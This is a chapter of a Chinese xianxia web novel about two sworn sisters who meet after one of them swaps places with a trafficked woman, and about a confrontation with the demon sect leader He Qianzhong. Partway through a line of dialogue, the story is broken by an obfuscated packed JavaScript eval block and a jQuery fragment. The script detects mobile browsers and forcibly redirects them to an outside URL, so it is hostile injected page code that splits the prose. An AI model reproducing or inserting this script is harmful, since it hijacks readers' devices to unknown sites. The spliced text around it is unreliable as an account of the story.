“那个女子是被人贩子拐走的,然后……你扮成了她的样子,换她出去,自己和那人贩子走了么?”
“是啊,我一开始察觉不对,就用一些术法尝试和那女子交流,然后让她去一个地方假装小解,趁机互换了衣服,又易容成她的模样,和她换了。”
崔羽落点点头:“然后……你和他一路到了这里,住到了这个客栈,不过姐姐,我还是有一点不懂。”
“什么?”
“我记得上次在地牢,你故意被魔宗的人抓进去,是为了解救里面的人。那么这次你故意跟着那个男子,我想除了让原来的那个女生跑远一些,还有一个原因是,你想跟着看看他们贩卖的路线和窝点是什么样的吧?”
“是啊,知己知彼百战不殆嘛。”
“但是姐姐,”崔羽落看着她,“你为什么要放火呢?这样不是会引起那个男子的怀疑么?”
*
房间内,慕惊弦已然清醒。
唤醒他的是一股不明来处的魔气。那股魔气与他体内的戾气共鸣,使他的经脉火烧火燎。戾气游走其中,淤血上涌,他竟蓦地吐出一口血来。
他缓了缓气息,擦去唇边血迹,环视四周,却发现本该躺在床上的崔羽落不见了。
他深吸一口气,披上外袍,轻轻从窗口跃了下去。
长街上只有月光游过。
忽然,他听到一阵脚步声。
那脚步声很匆忙,似是在逃跑。他略略压制了一下/体内流窜的戾气,便循声追了过去。
脚步在一个破旧的门前停了下来,男子猝然跪倒在地,转头看向一步步走过来的慕惊弦。
男子看着他身上渐渐生出暗涌的戾气,急忙道:“仙君仙君,我都说,我都交代,你不不不、不要杀我!”
慕惊弦停下脚步,问道:“你……要交代什么?”
男子语速很快地说:“我只是和我的娘子出门游玩,大半夜的时候我娘子忽然说有些饿,想吃前面那条街上的糕点,但是,但是这个时候了,糕点铺子早就关门了,我只能……”
“只能什么?”
“只能翻窗进去,看看能不能偷一点。”男子抬头看着他,十分紧张的样子,“就就、就这些了。”
慕惊弦垂眼看着他:“那你跑什么?”
男子噎了一下,随后尴尬地笑笑:“毕竟是偷了东西,心虚嘛,所以得赶紧跑啊。然后我娘子饿得慌,我怕回去得迟了,又得挨骂。”
慕惊弦扯了扯嘴角:“是么?”
“不敢有半句假话啊!”
“可是你身上,为什么会有魔气?”
“魔魔魔……魔气?”男子看上去快要晕过去了,“怎么可能?”
——他只是个普通不过的人贩子啊,每天为了总部的任务累死累活地到处跑,哪里有时间去修炼出魔气?
“但是你身上确实有魔气。”
“可能、可能是遇到什么妖魔鬼怪的,身上不小心沾上了一点吧。”男子仰天长叹一声,随后求饶似的看向慕惊弦,“我真的只是一个普通人啊!啊不,我小时候跟着一个江湖骗子学过一点武功,所以会一点轻功,只有这么一点不那么普通了。”
慕惊弦见他身上除了一丝微弱魔气,其他地方的确只是个普通人的模样,心中揣度着哪里会有魔气。
就在这时,他四肢百骸中的戾气陡然变得凶悍,它们渐渐地变得汹涌,肆无忌惮地在他曾受过重创的经脉中流窜。
他眼前一黑,一口淤血自胸口涌了上来。
血染红了他的袖口和前襟,他的脸色瞬间变得苍白如纸。一股阴寒之气骤然侵袭而来,随之而起的阴冷疾风掀起他的头发与衣袍。
他再次运气压制戾气,却见眼前的男子被石化一般,保持着先前的姿势一动不动。惶恐的神情雕刻在面部,在暗沉夜色中显得诡异无比。
他缓缓转头。
一名黑袍男子正站在他眼前。
“是你。”
这名黑袍男子,正是先前地牢中使用法阵抽取灵气的那个人,也是更久前挑起仙魔大战,欲抢夺无方盘的人。
贺千重的脸上缓缓浮现出一个微笑:“是我。没想到这么快又见面了。”
慕惊弦同样笑了笑,随后身周戾气大盛。流转的暗光映照着他苍白的脸色与泛出紫芒的眼睛,以及他与先前戾气失控时全然不同、神色自如的面容。
贺千重却只是静静看着他,不作任何反应。
“怎么,你要在这里把我杀了么?我劝你还是不要这样,”贺千重微笑道,“毕竟慕容随的徒弟、玄昭门的骄子,若是死在了这样一个荒凉镇子,那可真是太不体面了,你说是不是?”
“是啊,若是贺尊主死在了这样一个荒凉的地方,那可真是太丢人了。”
酝酿的戾气陡然发作,向着贺千重袭去。
贺千重冷笑一声,从怀中取出一样物品。
那物品外形窄长,其上似有雕刻的纹路。此刻,那物之上华光流转,隐隐现出诡谲的图腾。
法咒凭空而生,将慕惊弦困顿于脚下方寸之地。
与此同时,戾气落在贺千重身上,他身形一晃,口中呛出一口血来。
他看了一眼手上器物,擦了擦嘴角血迹,摇摇头:“这玩意没我想象中的好用啊。”
随后他又道:“你知道我为什么会出现在这里吗?”
见慕惊弦不回答,他哈哈一笑,继续说:“当然是因为你啊。”
语毕,他袍袖一扬,遁入暗夜。
随着贺千重离开,慕惊弦的束缚解开了。
他回想着方才的场景,神情凝重。
——瞬行千里,画地为牢。
他手上有四方灵器之一的无量尺。
先前他又想抢夺玄昭所守的无方盘……他想要做什么呢?
*
沈临澄顿了顿,道:“如果我说,放火是因为先前看到了你,才以这种方式引你过来,你信吗?”
崔羽落一愣:“啊?”
沈临澄见她困惑的模样,忍俊不禁道:“当然不是啦!虽然我也很想见到你,但放火确实另有原因。”
崔羽落沉吟道:“我记得前面老板说道,这些日子客栈有闹鬼?”
“是了,就是因为这个。”沈临澄笑眯眯道,“我昨夜住进去之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436215|168469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,发现整个客栈里有股魔气。”
“魔气?为什么会这样?”
“这就不知道了,不过那股魔气会招来鬼怪,所以就导致了闹鬼。然后我就大发善心,用火把那魔气烧没了,之后客栈应该就不会再这样闹鬼了。”沈临澄看向崔羽落,“对了,刚刚说了我的事,你呢,离开地牢之后又去了哪里啊?”
崔羽落有些迟疑地说:“我……和人成婚了。”
沈临澄“啊”了一声,笑道:“很好啊,是你……喜欢的人么?”
崔羽落张了张口,却没有回答。
沈临澄看着她:“你不喜欢他?是……其他人强迫你成婚?你不愿意的话,那就跑吧,可以和我一起浪迹江湖啊!”
崔羽落道:“也……没有人强迫我成婚,我其实还是愿意的。”
“那是怎么回事?”
崔羽落讲述了先前的经历,沈临澄听罢,笑道:“那可真是还不错!只是挂个夫妻的名分,还能拿到那么多钱,还有修炼的法宝什么的,真的很好啊!”
“是还不错。”
沈临澄问道:“不过,妹妹可愿意告诉我他是何人呢?”
两人到了崔羽落和慕惊弦在客栈中的房间,却见门内空无一人,窗户大开着,像是有人从中跳了出去。
“不太妙,我的那位夫君不见了。”
沈临澄同样神情凝重:“先前自称是我夫君的那人也不见了,真是奇怪,他说去偷糕点,但我们方才经过那家店,周围没有人啊?”
“说不定是被人抓住了呢,走,找找。”
“怎么找?观察一下地上的脚印么?”沈临澄蹲下/身,“好像没有什么脚印。”
崔羽落想起前一日房间内误打误撞的“双修”,便尝试运起灵气。
不知是不是先前与慕惊弦的灵脉建立了联系的缘故,周遭的淡淡灵气竟缓缓向某个方向流泻了过去,而体内的灵气与外界相感相应,像是产生了一种奇特的指引,要让她往那个方向去。
她欢喜地笑道:“我好像知道了。”
沈临澄抬头:“什么?知道你那个挂名夫君去哪了吗?”
“是的。”
沈临澄站起身,思索道:“我听说若是经常双修,二人的灵脉便会建立起某种羁绊,从而能隐隐感应到对方的位置。你和他双修过了?”
“嗯……算是有一次吧,但我俩没有经常双修啊!”
“那我也不是很明白,走吧。”
二人顺着感应到了一扇破败的木门前面,看到了两个人。
其中一人跪坐在地,身体有些僵硬,脸上却溢满了劫后余生的喜悦。
另一人蹲在他身前,脸色很差。听到二人的脚步声,略微侧身,转头看向二人。
那跪坐在地的人看到沈临澄,惊喜不已:“你你你……你见我许久未归,特意来寻我,我实在——”
沈临澄却皱眉打断了他:“闭嘴。”
而后她看向慕惊弦:“怎么是你?”
崔羽落看看沈临澄,又看看慕惊弦,有些困惑:“你俩……认识?”
慕惊弦沉默片刻,平静道:“你认识我?”